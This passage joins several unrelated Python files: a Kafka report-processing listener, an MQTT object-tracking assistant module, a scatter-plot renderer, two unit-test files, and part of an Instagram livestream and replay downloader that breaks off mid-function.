1. Downloading, verifying, extracting, and preparing report files for processing.
2. Line item processing each report file in the payload (downloaded from step 1).
3. Check if all reports have been processed for the manifest and if so, kick off
the celery worker task to summarize.
4. Send payload validation status to ingress service.
Args:
msg (ConsumerRecord) - Message from kafka hccm topic.
Returns:
None
"""
process_complete = False
status, report_metas, manifest_uuid = handle_message(msg)
value = json.loads(msg.value().decode("utf-8"))
request_id = value.get("request_id", "no_request_id")
tracing_id = manifest_uuid or request_id
if report_metas:
for report_meta in report_metas:
report_meta["process_complete"] = process_report(request_id, report_meta)
LOG.info(log_json(tracing_id, f"Processing: {report_meta.get('current_file')} complete."))
process_complete = report_metas_complete(report_metas)
summary_task_id = summarize_manifest(report_meta, tracing_id)
if summary_task_id:
LOG.info(log_json(tracing_id, f"Summarization celery uuid: {summary_task_id}"))
if status:
if report_metas:
file_list = [meta.get("current_file") for meta in report_metas]
files_string = ",".join(map(str, file_list))
LOG.info(log_json(tracing_id, f"Sending Ingress Service confirmation for: {files_string}"))
else:
LOG.info(log_json(tracing_id, f"Sending Ingress Service confirmation for: {value}"))
send_confirmation(value["request_id"], status)
return process_complete
def get_consumer(): # pragma: no cover
"""Create a Kafka consumer."""
consumer = Consumer(
{
"bootstrap.servers": Config.INSIGHTS_KAFKA_ADDRESS,
"group.id": "hccm-group",
"queued.max.messages.kbytes": 1024,
"enable.auto.commit": False,
"max.poll.interval.ms": 1080000, # 18 minutes
},
logger=LOG,
)
consumer.subscribe([Config.HCCM_TOPIC])
return consumer
def get_producer(): # pragma: no cover
"""Create a Kafka producer."""
producer = Producer({"bootstrap.servers": Config.INSIGHTS_KAFKA_ADDRESS, "message.timeout.ms": 1000})
return producer
def listen_for_messages_loop():
"""Wrap listen_for_messages in while true."""
consumer = get_consumer()
LOG.info("Consumer is listening for messages...")
for _ in itertools.count(): # equivalent to while True, but mockable
msg = consumer.poll(timeout=1.0)
if msg is None:
continue
if msg.error():
KAFKA_CONNECTION_ERRORS_COUNTER.inc()
LOG.error(f"[listen_for_messages_loop] consumer.poll message: {msg}. Error: {msg.error()}")
continue
listen_for_messages(msg, consumer)
def rewind_consumer_to_retry(consumer, topic_partition):
"""Helper method to log and rewind kafka consumer for retry."""
LOG.info(f"Seeking back to offset: {topic_partition.offset}, partition: {topic_partition.partition}")
consumer.seek(topic_partition)
time.sleep(Config.RETRY_SECONDS)
def listen_for_messages(msg, consumer):
"""
Listen for messages on the hccm topic.
Once a message from one of these topics arrives, we add
them extract the payload and line item process the report files.
Once all files from the manifest are complete a celery job is
dispatched to the worker to complete summary processing for the manifest.
Several exceptions can occur while listening for messages:
Database Errors - Re-processing attempts will be made until successful.
Internal Errors - Re-processing attempts will be made until successful.
Report Processing Errors - Kafka message will be committed with an error.
Errors of this type would require a report processor
fix and we do not want to block the message queue.
Upon successful processing the kafka message is manually committed. Manual
commits are used so we can use the message queue to store unprocessed messages
to make the service more tolerant of SIGTERM events.
Args:
consumer - (Consumer): kafka consumer for HCCM ingress topic.
Returns:
None
"""
offset = msg.offset()
partition = msg.partition()
topic_partition = TopicPartition(topic=Config.HCCM_TOPIC, partition=partition, offset=offset)
try:
LOG.info(f"Processing message offset: {offset} partition: {partition}")
process_messages(msg)
LOG.debug(f"COMMITTING: message offset: {offset} partition: {partition}")
consumer.commit()
except (InterfaceError, OperationalError, ReportProcessorDBError) as error:
close_and_set_db_connection()
LOG.error(f"[listen_for_messages] Database error. Error: {type(error).__name__}: {error}. Retrying...")
rewind_consumer_to_retry(consumer, topic_partition)
except (KafkaMsgHandlerError, RabbitOperationalError) as error:
LOG.error(f"[listen_for_messages] Internal error. {type(error).__name__}: {error}. Retrying...")
rewind_consumer_to_retry(consumer, topic_partition)
except ReportProcessorError as error:
LOG.error(f"[listen_for_messages] Report processing error: {str(error)}")
LOG.debug(f"COMMITTING: message offset: {offset} partition: {partition}")
consumer.commit()
except Exception as error:
LOG.error(f"[listen_for_messages] UNKNOWN error encountered: {type(error).__name__}: {error}", exc_info=True)
def koku_listener_thread(): # pragma: no cover
"""
Configure Listener listener thread.
Returns:
None
"""
if is_kafka_connected(Config.INSIGHTS_KAFKA_HOST, Config.INSIGHTS_KAFKA_PORT): # Check that Kafka is running
LOG.info("Kafka is running.")
try:
listen_for_messages_loop()
except KeyboardInterrupt:
exit(0)
def initialize_kafka_handler(): # pragma: no cover
"""
Start Listener thread.
Args:
None
Returns:
None
"""
if Config.KAFKA_CONNECT:
event_loop_thread = threading.Thread(target=koku_listener_thread)
event_loop_thread.daemon = True
event_loop_thread.start()
event_loop_thread.join()
|
t_system.py
|
#!/usr/bin/python3
# -*- coding: utf-8 -*-
"""
.. module:: t_system
:platform: Unix
:synopsis: the top-level submodule of A.V.A.'s.augmented that contains the classes related to A.V.A.'s simple if-else struct of Augmented abilities.
.. moduleauthors:: Cem Baybars GรรLร <cem.baybars@gmail.com>
"""
import time
from multiprocessing import Process
from random import choice
import youtube_dl # Command-line program to download videos from YouTube.com and other video sites
from pykeyboard import PyKeyboard # A simple, cross-platform Python module for providing keyboard control
from ava.utilities import nostdout, nostderr # Submodule of Dragonfire to provide various utilities
def check(doc, h, mqtt_receimitter, user_answering, userin, user_prefix):
"""Method to ava's command structures of controlling ability of remote object tracking system.
Args:
doc: doc of com from __init__.py
h: doc helper from __init__.py
mqtt_receimitter: transmit and receive data function for mqtt communication
user_answering: User answering string array.
userin: :class:`ava.utilities.TextToAction` instance.
Keyword Args:
user_prefix: user's preferred titles.
"""
# If the user has an option for running commands, the following lines will catch the options from the user's answer.
if user_answering['status'] and user_answering['for'] == 'augmented':
if h.check_text("whatever") or (h.check_text("give") and h.check_text("up")) or (h.check_text("not") and h.check_text("now")) or (h.check_text("forget") and h.check_text("it")): # for writing interrupt while taking notes and creating reminders.
user_answering['status'] = False
return userin.say(choice(["As you wish", "I understand", "Alright", "Ready whenever you want", "Get it"]) + choice([".", ", " + user_prefix + "."]))
if user_answering['reason'] == 'activate':
user_answering['status'] = False
if h.check_text("yes") or (h.check_text("do") and h.check_text("it")) or h.check_text("yep") or h.check_text("okay"):
activate(mqtt_receimitter, userin, user_prefix)
if user_answering['options'] == 'tracking':
userin.say("Activating tracking mode.")
flag = {'msg': {'command': 'change_mode', 'options': 'learn'}, 'system_name': 'Tracking Mode'}
return change_mode(mqtt_receimitter, flag, userin, user_prefix)
if user_answering['options'] == 'security':
userin.say("Activating security mode.")
flag = {'msg': {'command': 'change_mode', 'options': 'security'}, 'system_name': 'Security Mode'}
return change_mode(mqtt_receimitter, flag, userin, user_prefix)
if user_answering['options'] == 'learning':
userin.say("Activating learning mode.")
flag = {'msg': {'command': 'change_mode', 'options': 'learn'}, 'system_name': 'Learning Mode'}
return change_mode(mqtt_receimitter, flag, userin, user_prefix)
else:
return userin.say("I won't connect" + choice([".", ", " + user_prefix + "."]))
if (h.check_verb_lemma("activate") or h.check_verb_lemma("start") or h.check_verb_lemma("connect")) and (h.check_text("tracking") and h.check_text("system")):
return activate(mqtt_receimitter, userin, user_prefix)
if h.check_verb_lemma("activate") or h.check_verb_lemma("start") or h.check_verb_lemma("run"):
if h.check_text("tracking") and h.check_text("mode"):
check = connection_check(mqtt_receimitter, 'augmented', 'activate', 'tracking', user_answering, userin, user_prefix)
if check:
return check
flag = {'msg': {'command': 'change_mode', 'options': 'track'}, 'system_name': 'Tracking Mode'}
return change_mode(mqtt_receimitter, flag, userin, user_prefix)
if h.check_text("security") and h.check_text("mode"):
check = connection_check(mqtt_receimitter, 'augmented', 'activate', 'security', user_answering, userin, user_prefix)
if check:
return check
flag = {'msg': {'command': 'change_mode', 'options': 'security'}, 'system_name': 'Security Mode'}
return change_mode(mqtt_receimitter, flag, userin, user_prefix)
if h.check_text("learning") and h.check_text("mode"):
check = connection_check(mqtt_receimitter, 'augmented', 'activate', 'learning', user_answering, userin, user_prefix)
if check:
return check
flag = {'msg': {'command': 'change_mode', 'options': 'learn'}, 'system_name': 'Learning Mode'}
return change_mode(mqtt_receimitter, flag, userin, user_prefix)
if h.check_verb_lemma("watch") or h.check_verb_lemma("track") or h.check_verb_lemma("follow"):
thing = ""
for token in doc:
if not (
token.lemma_ == "watch" or token.lemma_ == "track" or token.lemma_ == "follow" or token.is_stop):
thing += ' ' + token.text
thing = thing.strip()
if thing:
flag = {'command': 'change_target', 'options': thing}
return change_tracking_thing(mqtt_receimitter, flag, userin, user_prefix)
return None
def change_tracking_thing(mqtt_receimitter, flag, userin, user_prefix):
"""Method to change tracking object for ava's controlling ability of remote object tracking system.
Args:
mqtt_receimitter: transmit and receive data function for mqtt communication
flag: The object, which will been tracking via remote object tracking system
userin: :class:`ava.utilities.TextToAction` instance.
Keyword Args:
user_prefix: user's preferred titles.
"""
mqtt_receimitter.publish('Augmented/T_System', flag)
time.sleep(5) # some check for waiting the result code will be here.
msg = mqtt_receimitter.get_incoming_message()
if not msg == {}:
if msg['options'] == 'realized':
return userin.say("System started the " + choice(["watching ", "tracking " + "following"]) + "for" + flag['options'])
elif msg['options'] == 'already_tracking':
return userin.say("System already running on " + flag['options'] + choice([".", ", " + user_prefix + "."]))
else:
return userin.say("Changing of tracking thing is failed!")
else:
return userin.say("Communication failed" + choice(["!", ", " + user_prefix + "!"]))
def change_mode(mqtt_receimitter, flag, userin, user_prefix):
"""Method to change working mode for ava's controlling ability of remote object tracking system.
Args:
mqtt_receimitter: transmit and receive data function for mqtt communication
flag(dictionary): flag of mode.
userin: :class:`ava.utilities.TextToAction` instance.
Keyword Args:
user_prefix: user's preferred titles.
"""
mqtt_receimitter.publish('Augmented/T_System', flag['msg'])
time.sleep(1) # some check for waiting the result code will be here.
msg = mqtt_receimitter.get_incoming_message()
if not msg == {}:
if msg['options'] == 'realized':
return userin.say("The Object Tracking System is running on " + flag['system_name'] + choice([".", ", " + user_prefix + "."]))
elif msg['options'] == 'already_running':
return userin.say("System already running on " + flag['system_name'] + choice([".", ", " + user_prefix + "."]))
else:
return userin.say(flag['system_name'] + " activation is failed!")
else:
return userin.say("Communication failed" + choice(["!", ", " + user_prefix + "!"]))
def activate(mqtt_receimitter, userin, user_prefix):
"""Method to activating mqtt connection for ava's controlling ability of remote object tracking system.
Args:
mqtt_receimitter: transmit and receive data function for mqtt communication
userin: :class:`ava.utilities.TextToAction` instance.
Keyword Args:
user_prefix: user's preferred titles.
"""
mqtt_proc = Process(target=mqtt_receimitter.subscribe('T_System/Augmented'))
mqtt_proc.start()
while not mqtt_receimitter.get_is_connected():
pass
return userin.say("Connection established!")
def connection_check(mqtt_receimitter, forr, reason, options, user_answering, userin, user_prefix):
"""Method to checking the connection of mqtt communication for ava's controlling ability of remote object tracking system.
Args:
mqtt_receimitter: transmit and receive data function for mqtt communication
user_answering: User answering string array.
userin: :class:`ava.utilities.TextToAction` instance.
Keyword Args:
forr: purpose of the user's answer.
reason: reason of the user's answer.
options: options of the user's answer.
user_prefix: user's preferred titles.
"""
if not mqtt_receimitter.get_is_connected():
user_answering['status'] = True
user_answering['for'] = forr
user_answering['reason'] = reason
user_answering['options'] = options
return userin.say("Object Tracking System is not Active. You want me to activate?")
return None
|
scatterplot.py
|
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import io
from multiprocessing import Process, Manager
import matplotlib
import matplotlib.pyplot as plt
from . import BaseDomsHandler
from . import ResultsStorage
if not matplotlib.get_backend():
matplotlib.use('Agg')
PARAMETER_TO_FIELD = {
"sst": "sea_water_temperature",
"sss": "sea_water_salinity"
}
PARAMETER_TO_UNITS = {
"sst": "($^\circ$ C)",
"sss": "(g/L)"
}
def render(d, x, y, z, primary, secondary, parameter):
fig, ax = plt.subplots()
ax.set_title(f'{primary} vs. {secondary}'.upper())
units = PARAMETER_TO_UNITS[parameter] if parameter in PARAMETER_TO_UNITS else PARAMETER_TO_UNITS[
"sst"]
ax.set_ylabel("%s %s" % (secondary, units))
ax.set_xlabel("%s %s" % (primary, units))
ax.scatter(x, y)
buf = io.BytesIO()
plt.savefig(buf, format='png')
d['plot'] = buf.getvalue()
class DomsScatterPlotQueryResults(BaseDomsHandler.DomsQueryResults):
def __init__(self, x, y, z, parameter, primary, secondary, args=None, bounds=None, count=None, details=None,
computeOptions=None, executionId=None, plot=None):
BaseDomsHandler.DomsQueryResults.__init__(self, results=[x, y], args=args, details=details, bounds=bounds,
count=count, computeOptions=computeOptions, executionId=executionId)
self.__primary = primary
self.__secondary = secondary
self.__x = x
self.__y = y
self.__z = z
self.__parameter = parameter
self.__plot = plot
def toImage(self):
return self.__plot
def renderAsync(x, y, z, primary, secondary, parameter):
manager = Manager()
d = manager.dict()
p = Process(target=render, args=(d, x, y, z, primary, secondary, parameter))
p.start()
p.join()
return d['plot']
def createScatterPlot(id, parameter, config=None):
with ResultsStorage.ResultsRetrieval(config) as storage:
params, stats, data = storage.retrieveResults(id)
primary = params["primary"]
secondary = params["matchup"][0]
x, y, z = createScatterTable(data, secondary, parameter)
plot = renderAsync(x, y, z, primary, secondary, parameter)
r = DomsScatterPlotQueryResults(x=x, y=y, z=z, parameter=parameter, primary=primary, secondary=secondary,
args=params, details=stats,
bounds=None, count=None, computeOptions=None, executionId=id, plot=plot)
return r
def createScatterTable(results, secondary, parameter):
x = []
y = []
z = []
field = PARAMETER_TO_FIELD[parameter] if parameter in PARAMETER_TO_FIELD else PARAMETER_TO_FIELD["sst"]
for entry in results:
for match in entry["matches"]:
if match["source"] == secondary:
if field in entry and field in match:
a = entry[field]
b = match[field]
x.append(a)
y.append(b)
z.append(a - b)
return x, y, z
|
test_loop_2_fun_behavior.py
|
# DO NOT MODIFY THIS FILE!!!
from unittest import TestCase
from unittest.mock import patch
from threading import Thread
from .print_util import print_calls_contain_output
from lab_questions import Loop2fun as l2
# Checks if the required functions are created
# Checks for expected output, given example input, for the program as a whole.
# Instructor should examine student code for appropriate structure.
class PrintNumbersLoopFunTest(TestCase):
# Mocks are only used to consume input, otherwise test would hang waiting for input.
@patch('builtins.print')
@patch('builtins.input')
def test_function_with_correct_params_created(self, mock_input, mock_print):
error = ''
expected_functions = \
{
l2.main: tuple(), # no args - empty tuple
l2.inputNumbers: tuple(),
l2.processing: (1, 2), # example valid input, anything valid is fine
l2.outputAnswer: (1, 2, 3)
}
for fn, args in expected_functions.items():
try:
fn(*args)
except AttributeError:
error = f'You need to create a function with the name "{fn}". Make sure your spelling is correct.'
except TypeError:
error = f'Check the arguments the function "{fn}" takes.'
if error:
self.fail(error)
@patch('builtins.print')
@patch('builtins.input')
def test_behavior_valid_input(self, mock_input, mock_print):
expected_input = ['3', '6'] # sum = 3 + 4 + 5 + 6 = 18
mock_input.side_effect = expected_input
expected_output = ['3', '4', '5', '6', '18'] # Things in the output, in this order
l2.main()
self.assertTrue(*print_calls_contain_output(mock_print, expected_output))
@patch('builtins.print')
@patch('builtins.input')
def test_behavior_invalid_input(self, mock_input, mock_print):
# This is hard to test since there's no definition of how the program should
# gather input and how it should be validated.
# This test just makes input() return bad input to the program, and then fails if the code errors.
# Wrap in a timeout. Fail if the timeout expires.
exceptions = []
def run_program(invalid_input):
mock_input.return_value = invalid_input
try:
l2.main()
except ValueError as e:
exceptions.append(e)
bad_inputs = ['0.7', '-12345.asdasd', 'pizza', '123.45']
for bad_input in bad_inputs:
test_program = Thread(target=run_program, args=(bad_input,), daemon=True)
test_program.start()
test_program.join(1.0) # Wait for program to complete or error, up to 1 second.
# It doesn't matter if the program doesn't finish. All this test checks for
# is whether it crashes or not when given bad input.
if exceptions:
self.fail('Your program crashed when given bad input with these error(s)' + str(exceptions))
|
bank_account_test.py
|
import sys
import threading
import time
import unittest
from bank_account import BankAccount
def adjust_balance_concurrently(account):
def transact():
account.deposit(5)
time.sleep(0.001)
account.withdraw(5)
# Greatly improve the chance of an operation being interrupted
# by thread switch, thus testing synchronization effectively
try:
sys.setswitchinterval(1e-12)
except AttributeError:
# For Python 2 compatibility
sys.setcheckinterval(1)
threads = [threading.Thread(target=transact) for _ in range(1000)]
for thread in threads:
thread.start()
for thread in threads:
thread.join()
class BankAccountTest(unittest.TestCase):
def test_newly_opened_account_has_zero_balance(self):
account = BankAccount()
account.open()
self.assertEqual(account.get_balance(), 0)
def test_can_deposit_money(self):
account = BankAccount()
account.open()
account.deposit(100)
self.assertEqual(account.get_balance(), 100)
def test_can_deposit_money_sequentially(self):
account = BankAccount()
account.open()
account.deposit(100)
account.deposit(50)
self.assertEqual(account.get_balance(), 150)
def test_can_withdraw_money(self):
account = BankAccount()
account.open()
account.deposit(100)
account.withdraw(50)
self.assertEqual(account.get_balance(), 50)
def test_can_withdraw_money_sequentially(self):
account = BankAccount()
account.open()
account.deposit(100)
account.withdraw(20)
account.withdraw(80)
self.assertEqual(account.get_balance(), 0)
def test_checking_balance_of_closed_account_throws_error(self):
account = BankAccount()
account.open()
account.close()
with self.assertRaisesWithMessage(ValueError):
account.get_balance()
def test_deposit_into_closed_account(self):
account = BankAccount()
account.open()
account.close()
with self.assertRaisesWithMessage(ValueError):
account.deposit(50)
def test_withdraw_from_closed_account(self):
account = BankAccount()
account.open()
account.close()
with self.assertRaisesWithMessage(ValueError):
account.withdraw(50)
def test_close_already_closed_account(self):
account = BankAccount()
with self.assertRaisesWithMessage(ValueError):
account.close()
def test_open_already_opened_account(self):
account = BankAccount()
account.open()
with self.assertRaisesWithMessage(ValueError):
account.open()
def test_reopened_account_does_not_retain_balance(self):
account = BankAccount()
account.open()
account.deposit(50)
account.close()
account.open()
self.assertEqual(account.get_balance(), 0)
def test_cannot_withdraw_more_than_deposited(self):
account = BankAccount()
account.open()
account.deposit(25)
with self.assertRaises(ValueError):
account.withdraw(50)
def test_cannot_withdraw_negative(self):
account = BankAccount()
account.open()
account.deposit(100)
with self.assertRaisesWithMessage(ValueError):
account.withdraw(-50)
def test_cannot_deposit_negative(self):
account = BankAccount()
account.open()
with self.assertRaisesWithMessage(ValueError):
account.deposit(-50)
def test_can_handle_concurrent_transactions(self):
account = BankAccount()
account.open()
account.deposit(1000)
adjust_balance_concurrently(account)
self.assertEqual(account.get_balance(), 1000)
# Utility functions
def setUp(self):
try:
self.assertRaisesRegex
except AttributeError:
self.assertRaisesRegex = self.assertRaisesRegexp
def assertRaisesWithMessage(self, exception):
return self.assertRaisesRegex(exception, r".+")
|
dlfuncs.py
|
import os
import shutil
import json
import threading
import time
from xml.dom.minidom import parseString
from instagram_private_api import ClientConnectionError
from instagram_private_api import ClientError
from instagram_private_api import ClientThrottledError
from instagram_private_api_extensions import live
from instagram_private_api_extensions import replay
try:
import logger
import helpers
import pil
import dlfuncs
import assembler
from constants import Constants
from comments import CommentsDownloader
except ImportError:
from . import logger
from . import helpers
from . import pil
from . import assembler
from . import dlfuncs
from .constants import Constants
from .comments import CommentsDownloader
def get_stream_duration(duration_type):
try:
# For some reason the published_time is roughly 40 seconds behind real world time
if duration_type == 0: # Airtime duration
stream_started_mins, stream_started_secs = divmod((int(time.time()) - pil.livestream_obj.get("published_time")), 60)
if duration_type == 1: # Download duration
stream_started_mins, stream_started_secs = divmod((int(time.time()) - int(pil.epochtime)), 60)
if duration_type == 2: # Missing duration
if (int(pil.epochtime) - pil.livestream_obj.get("published_time")) <= 0:
stream_started_mins, stream_started_secs = 0, 0 # Download started 'earlier' than actual broadcast, assume started at the same time instead
else:
stream_started_mins, stream_started_secs = divmod((int(pil.epochtime) - pil.livestream_obj.get("published_time")), 60)
if stream_started_mins < 0:
stream_started_mins = 0
if stream_started_secs < 0:
stream_started_secs = 0
stream_duration_str = '%d minutes' % stream_started_mins
if stream_started_secs:
stream_duration_str += ' and %d seconds' % stream_started_secs
return stream_duration_str
except Exception:
return "Not available"
def get_user_id():
is_user_id = False
user_id = None
try:
user_id = int(pil.dl_user)
is_user_id = True
except ValueError:
try:
user_res = pil.ig_api.username_info(pil.dl_user)
# if pil.verbose:
# logger.plain(json.dumps(user_res))
user_id = user_res.get('user', {}).get('pk')
except ClientConnectionError as cce:
logger.error(
"Could not get user info for '{:s}': {:d} {:s}".format(pil.dl_user, cce.code, str(cce)))
if "getaddrinfo failed" in str(cce):
logger.error('Could not resolve host, check your internet connection.')
if "timed out" in str(cce):
logger.error('The connection timed out, check your internet connection.')
except ClientThrottledError as cte:
logger.error(
"Could not get user info for '{:s}': {:d} {:s}".format(pil.dl_user, cte.code, str(cte)))
except ClientError as ce:
logger.error(
"Could not get user info for '{:s}': {:d} {:s}".format(pil.dl_user, ce.code, str(ce)))
if "Not Found" in str(ce):
logger.error('The specified user does not exist.')
except Exception as e:
logger.error("Could not get user info for '{:s}': {:s}".format(pil.dl_user, str(e)))
except KeyboardInterrupt:
logger.binfo("Aborted getting user info for '{:s}', exiting.".format(pil.dl_user))
if user_id and is_user_id:
logger.info("Getting info for '{:s}' successful. Assuming input is an user Id.".format(pil.dl_user))
logger.separator()
return user_id
elif user_id:
logger.info("Getting info for '{:s}' successful.".format(pil.dl_user))
logger.separator()
return user_id
else:
return None
def get_broadcasts_info():
try:
user_id = get_user_id()
if user_id:
broadcasts = pil.ig_api.user_story_feed(user_id)
# if pil.verbose:
# logger.plain(json.dumps(broadcasts))
pil.livestream_obj = broadcasts.get('broadcast')
pil.replays_obj = broadcasts.get('post_live_item', {}).get('broadcasts', [])
return True
else:
return False
except ClientThrottledError:
logger.error('Could not check because you are making too many requests at this time.')
return False
except Exception as e:
logger.error('Could not finish checking: {:s}'.format(str(e)))
if "timed out" in str(e):
logger.error('The connection timed out, check your internet connection.')
if "login_required" in str(e):
logger.error('Login cookie was loaded but user is not actually logged in. Delete the cookie file and try '
'again.')
return False
except KeyboardInterrupt:
logger.binfo('Aborted checking for livestreams and replays, exiting.')
return False
def merge_segments():
try:
if pil.run_at_finish:
try:
thread = threading.Thread(target=helpers.run_command, args=(pil.run_at_finish,))
thread.daemon = True
thread.start()
logger.binfo("Launched finish command: {:s}".format(pil.run_at_finish))
except Exception as e:
logger.warn('Could not execute command: {:s}'.format(str(e)))
live_mp4_file = '{}{}_{}_{}_{}_live.mp4'.format(pil.dl_path, pil.datetime_compat, pil.dl_user,
pil.livestream_obj.get('id'), pil.epochtime)
live_segments_path = os.path.normpath(pil.broadcast_downloader.output_dir)
if pil.segments_json_thread_worker and pil.segments_json_thread_worker.is_alive():
pil.kill_segment_thread = True
pil.segments_json_thread_worker.join()
if pil.comment_thread_worker and pil.comment_thread_worker.is_alive():
logger.info("Waiting for comment downloader to finish.")
pil.comment_thread_worker.join()
try:
if not pil.skip_merge:
logger.info('Merging downloaded files into video.')
pil.broadcast_downloader.stitch(live_mp4_file, cleartempfiles=pil.clear_temp_files)
logger.info('Successfully merged downloaded files into video.')
if pil.clear_temp_files:
helpers.remove_temp_folder()
else:
logger.binfo("Merging of downloaded files has been disabled.")
logger.binfo("Use --assemble command to manually merge downloaded segments.")
helpers.remove_lock()
except ValueError as e:
logger.separator()
logger.error('Could not merge downloaded files: {:s}'.format(str(e)))
if os.listdir(live_segments_path):
logger.separator()
logger.binfo("Segment directory is not empty. Trying to merge again.")
logger.separator()
pil.assemble_arg = live_mp4_file.replace(".mp4", "_downloads.json")
assembler.assemble(user_called=False)
else:
logger.separator()
logger.error("Segment directory is empty. There is nothing to merge.")
logger.separator()
helpers.remove_lock()
except Exception as e:
logger.error('Could not merge downloaded files: {:s}'.format(str(e)))
helpers.remove_lock()
except KeyboardInterrupt:
logger.binfo('Aborted merging process, no video was created.')
helpers.remove_lock()
def download_livestream():
try:
def print_status(sep=True):
if pil.do_heartbeat:
heartbeat_info = pil.ig_api.broadcast_heartbeat_and_viewercount(pil.livestream_obj.get('id'))
# if pil.verbose:
# logger.plain(json.dumps(heartbeat_info))
viewers = pil.livestream_obj.get('viewer_count', 0) + 1
if sep:
logger.separator()
else:
logger.info('Username : {:s}'.format(pil.dl_user))
logger.info('Viewers : {:s} watching'.format(str(int(viewers))))
logger.info('Airing time : {:s}'.format(get_stream_duration(0)))
if pil.do_heartbeat:
logger.info('Status : {:s}'.format(heartbeat_info.get('broadcast_status').title()))
return heartbeat_info.get('broadcast_status') not in ['active', 'interrupted']
else:
return None
mpd_url = (pil.livestream_obj.get('dash_manifest')
or pil.livestream_obj.get('dash_abr_playback_url')
or pil.livestream_obj.get('dash_playback_url'))
pil.live_folder_path = '{}{}_{}_{}_{}_live_downloads'.format(pil.dl_path, pil.datetime_compat, pil.dl_user,
pil.livestream_obj.get('id'), pil.epochtime)
pil.broadcast_downloader = live.Downloader(
mpd=mpd_url,
output_dir=pil.live_folder_path,
user_agent=pil.ig_api.user_agent,
max_connection_error_retry=3,
duplicate_etag_retry=30,
callback_check=print_status,
mpd_download_timeout=3,
download_timeout=3,
ffmpeg_binary=pil.ffmpeg_path)
except Exception as e:
logger.error('Could not start downloading livestream: {:s}'.format(str(e)))
logger.separator()
helpers.remove_lock()
try:
broadcast_owner = pil.livestream_obj.get('broadcast_owner', {}).get('username')
try:
broadcast_guest = pil.livestream_obj.get('cobroadcasters', {})[0].get('username')
except Exception:
broadcast_guest = None
if broadcast_owner != pil.dl_user:
logger.binfo('This livestream is a dual-live, the owner is "{}".'.format(broadcast_owner))
broadcast_guest = None
if broadcast_guest:
logger.binfo('This livestream is a dual-live, the current guest is "{}".'.format(broadcast_guest))
pil.has_guest = broadcast_guest
logger.separator()
print_status(False)
logger.separator()
helpers.create_lock_folder()
pil.segments_json_thread_worker = threading.Thread(target=helpers.generate_json_segments)
pil.segments_json_thread_worker.start()
logger.info('Downloading livestream, press [CTRL+C] to abort.')
if pil.run_at_start:
try:
thread = threading.Thread(target=helpers.run_command, args=(pil.run_at_start,))
thread.daemon = True
thread.start()
logger.binfo("Launched start command: {:s}".format(pil.run_at_start))
except Exception as e:
logger.warn('Could not launch command: {:s}'.format(str(e)))
if pil.dl_comments:
try:
comments_json_file = '{}{}_{}_{}_{}_live_comments.json'.format(
pil.dl_path, pil.datetime_compat, pil.dl_user, pil.livestream_obj.get('id'), pil.epochtime)
pil.comment_thread_worker = threading.Thread(target=get_live_comments, args=(comments_json_file,))
pil.comment_thread_worker.start()
except Exception as e:
logger.error('An error occurred while downloading comments: {:s}'.format(str(e)))
pil.broadcast_downloader.run()
logger.separator()
logger.info("The livestream has been ended by the user.")
logger.separator()
logger.info('Airtime duration : {}'.format(get_stream_duration(0)))
logger.info('Download duration : {}'.format(get_stream_duration(1)))
logger.info('Missing (approx.) : {}'.format(get_stream_duration(2)))
logger.separator()
merge_segments()
except KeyboardInterrupt:
logger.separator()
logger.binfo('The download has been aborted.')
logger.separator()
logger.info('Airtime duration : {}'.format(get_stream_duration(0)))
logger.info('Download duration : {}'.format(get_stream_duration(1)))
logger.info('Missing (approx.) : {}'.format(get_stream_duration(2)))
logger.separator()
if not pil.broadcast_downloader.is_aborted:
pil.broadcast_downloader.stop()
merge_segments()
def download_replays():
try:
try:
logger.info('Amount of replays : {:s}'.format(str(len(pil.replays_obj))))
for replay_index, replay_obj in enumerate(pil.replays_obj):
bc_dash_manifest = parseString(replay_obj.get('dash_manifest')).getElementsByTagName('Period')
bc_duration_raw = bc_dash_manifest[0].getAttribute("duration")
bc_minutes = (bc_duration_raw.split("H"))[1].split("M")[0]
bc_seconds = ((bc_duration_raw.split("M"))[1].split("S")[0]).split('.')[0]
logger.info(
'Replay {:s} duration : {:s} minutes and {:s} seconds'.format(str(replay_index + 1), bc_minutes,
bc_seconds))
except Exception as e:
logger.warn("An error occurred while getting replay duration information: {:s}".format(str(e)))
logger.separator()
logger.info("Downloading replays, press [CTRL+C] to abort.")
logger.separator()
for replay_index, replay_obj in enumerate(pil.replays_obj):
exists = False
pil.livestream_obj = replay_obj
dl_path_files = os.listdir(pil.dl_path)
# if pil.verbose:
# logger.separator()
# logger.plain("Listing contents of the folder '{}':".format(pil.dl_path))
# for dl_path_file in dl_path_files:
# logger.plain(dl_path_file)
# logger.separator()
# logger.separator()
for dl_path_file in dl_path_files:
if (str(replay_obj.get('id')) in dl_path_file) and ("_replay" in dl_path_file) and (dl_path_file.endswith(".mp4")):
logger.binfo("Already downloaded replay {:d} with ID '{:s}'.".format(replay_index + 1, str(replay_obj.get('id'))))
exists = True
if not exists:
current = replay_index + 1
logger.info(
"Downloading replay {:s} of {:s} with ID '{:s}'.".format(str(current), str(len(pil.replays_obj)),
str(replay_obj.get('id'))))
pil.live_folder_path = '{}{}_{}_{}_{}_replay_downloads'.format(
pil.dl_path, pil.datetime_compat, pil.dl_user, pil.livestream_obj.get('id'), replay_obj.get("published_time"))
broadcast_downloader = replay.Downloader(
mpd=replay_obj.get('dash_manifest'),
output_dir=pil.live_folder_path,
user_agent=pil.ig_api.user_agent,
ffmpeg_binary=pil.ffmpeg_path)
if pil.use_locks:
helpers.create_lock_folder()
replay_mp4_file = '{}{}_{}_{}_{}_replay.mp4'.format(
pil.dl_path, pil.datetime_compat, pil.dl_user, pil.livestream_obj.get('id'), replay_obj.get("published_time"))
comments_json_file = '{}{}_{}_{}_{}_replay_comments.json'.format(
pil.dl_path, pil.datetime_compat, pil.dl_user, pil.livestream_obj.get('id'), replay_obj.get("published_time"))
pil.comment_thread_worker = threading.Thread(target=get_replay_comments, args=(comments_json_file,))
broadcast_downloader.download(replay_mp4_file, cleartempfiles=pil.clear_temp_files)
if pil.clear_temp_files:
helpers.remove_temp_folder()
if pil.dl_comments:
